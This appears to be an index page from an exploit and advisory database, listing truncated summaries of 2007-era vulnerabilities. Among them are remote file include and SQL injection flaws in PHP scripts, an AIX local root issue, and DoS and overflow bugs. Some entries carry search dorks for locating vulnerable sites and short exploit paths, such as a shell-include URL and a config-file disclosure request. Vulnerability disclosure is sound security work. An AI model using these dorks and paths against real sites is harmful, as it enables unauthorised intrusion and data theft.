Remot File Include In Aardvark Topsites PHP 5

By Hasadya Raed Contact : [email protected] Israel ---------------------------------------- Script : Aardvark Topsites PHP 5 Dork : "Copyright c 2003-2005 Jeremy Scheff. All rights reserved" --------------------------------------- B.Files : settingssql.php newday.php...

AIX 4.3 lsmcode local root command execution

It has been reported on http://www.securityfocus.com/bid/18114/ about this vulnerability in AIX 5.1 - 5.3, some exploits is published in milw0rm to exploits this issue http://milw0rm.com/exploits/701 I have an AIX 4.3 box and it seems vulnerable with this issue too bash-2.04$ mkdirhier /tmp/aap/b...

MySQL Single Row Subselect Remote DoS

According to its banner, the version of MySQL on the remote host is older than 5.0.37. Such versions are vulnerable to a remote denial of service when processing certain single row subselect queries. A malicious user can crash the service via a specially crafted SQL query. C Tenable Network...

Kaqoo Auction (install_root) Multiple Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ========================================================================= Kaqoo Auction installroot Multiple Remote File Include Vulnerabilities =========================================================================...

Re: [VulnWatch] Microsoft Windows Vista Slideshow Unspecified Blue Screen Of Death Vulnerability

Dear Micha? Majchrowicz, This image also effectively exploits stack overflow in FastStone Image Viewer 2.8, EIP is 0x41414141. --Monday, March 26, 2007, 12:20:07 AM, you wrote to [email protected]: MM Everytime you try to turn on the slideshow with a JPG file in the MM folder you get BSoD...

PHP 5.2.1 - Multiple functions 'Reference' Information Disclosures

source: https://www.securityfocus.com/bid/23202/info PHP is prone to an information-disclosure vulnerability due to a design error. The vulnerability resides in various functions that accept parameters as references. Successful exploits will allow attackers to obtain sensitive information...

CVE-2007-1723

Multiple cross-site scripting XSS vulnerabilities in the administration console in Secure Computing CipherTrust IronMail 6.1.1 allow remote attackers to inject arbitrary web script or HTML via the 1 network, 2 defRouterIp, 3 hostName, 4 domainName, 5 ipAddress, 6 defaultRouter, 7 dns1, or 8 dns2...

Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit

No description provided by source. / Exploiting Microsoft DNS Dynamic Updates for Fun and profit Andres Tarasco Acu?a - c 2007 Url: http://www.514.es By default, most Microsoft DNS servers integrated with active directory allow insecure dynamic updates for dns records. This feature allows remote...

Philex 0.2.3 - Remote File Inclusion / File Disclosure

Philex 0.2.3 Exploit Remote File Include: PathPhilex/header.inc.php?CssFile=Shell V.Code Disclosure: readfile$HTTPGETVARS"file"; Exploit Remote File Disclosure: PathPhilex/download.php?file=conf.inc.php milw0rm.com 2007-03-23...

[Full-disclosure] Mercur SP4 IMAPD

The attached exploits several signedness bugs in the NTLM implementation of Mercur IMAPD www.atrium-software.com to give the attacker complete control over a memcpy to a stack variable... non-authenticated In this case, memcpybuf, src+a, b with 'a', and 'b' being user controlled and buf 7208 byte...

php-revista <= 1.1.2 Multiple Remote SQL Injection Vulnerabilities

No description provided by source. php-revista = 1.1.2 Remote SQL Injection Exploit Found by & contact : Cold z3ro , [email protected] script : http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=1025654400&bigmirror=0 Exploits :...

php-revista <= 1.1.2 Multiple Remote SQL Injection Vulnerabilities

No description provided by source. php-revista = 1.1.2 Remote SQL Injection Exploit Found by & contact : Cold z3ro , [email protected] script : http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=1025654400&bigmirror=0 Exploits :...

PHP-revista 1.1.2 - Multiple SQL Injections

php-revista = 1.1.2 Remote SQL Injection Exploit Found by & contact : Cold z3ro , [email protected] script : http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=1025654400&bigmirror=0 Exploits : ==============================================================================...

KLA10093 Multiple vulnerabilities in CA software

Multiple serious vulnerabilities have been found in ARCserve Backup. Malicious users can exploit these vulnerabilities to execute arbitrary code or cause denial of service. Below is a complete list of vulnerabilities 1. A buffer overflow can be exploited remotely via specially designed RPC...

aBitWhizzy - whizzypic.php?d Traversal Arbitrary Directory Listing

aBitWhizzy - whizzypic.php?d Traversal Arbitrary Directory Listing source: https://www.securityfocus.com/bid/23167/info aBitWhizzy is prone to multiple cross-site scripting and directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input. An...

softnews-rfi.txt

By Hasadya Raed Contact : [email protected] ------------------------------------ Script : SoftNews Media Group Dork : "Copyright © 2004,2006 SoftNews Media Group" Greetz : Only To Security Focus ------------------------------------ B.Files : init.php editnews.php ----------------------------------...

copperminepg-rfi.txt

By Hasadya Raed Contact : [email protected] ------------------------------------ Script : Coppermine Photo Gallery Expl : Remote Include File Dork : "Copyright c 2003-2006 Coppermine Dev Team" ------------------------------------ B.Files : imageprocessor.php functions.php picmgmt.inc.php...

MS05-047: Plug and Play Remote Code Execution and Local Privilege Elevation (905749) (uncredentialed check)

The remote host contains a version of the Plug and Play service that contains a vulnerability in the way it handles user-supplied data. An authenticated attacker may exploit this flaw by sending a malformed RPC request to the remote service and execute code with SYSTEM privileges. Note that...

Remote File Include In Script Premod SubDog 2

By Hasadya Raed Contact : [email protected] ------------------------------------ Script : Premod SubDog 2 Dork : "Premod SubDog 2" ------------------------------------ B.Files : functionskb.php themenportalmitte.php loggerengine.php ------------------------------------ Exploits :...

Remote File Include In Script Coppermine Photo Gallery

By Hasadya Raed Contact : [email protected] ------------------------------------ Script : Coppermine Photo Gallery Expl : Remote Include File Dork : "Copyright c 2003-2006 Coppermine Dev Team" ------------------------------------ B.Files : imageprocessor.php functions.php picmgmt.inc.php...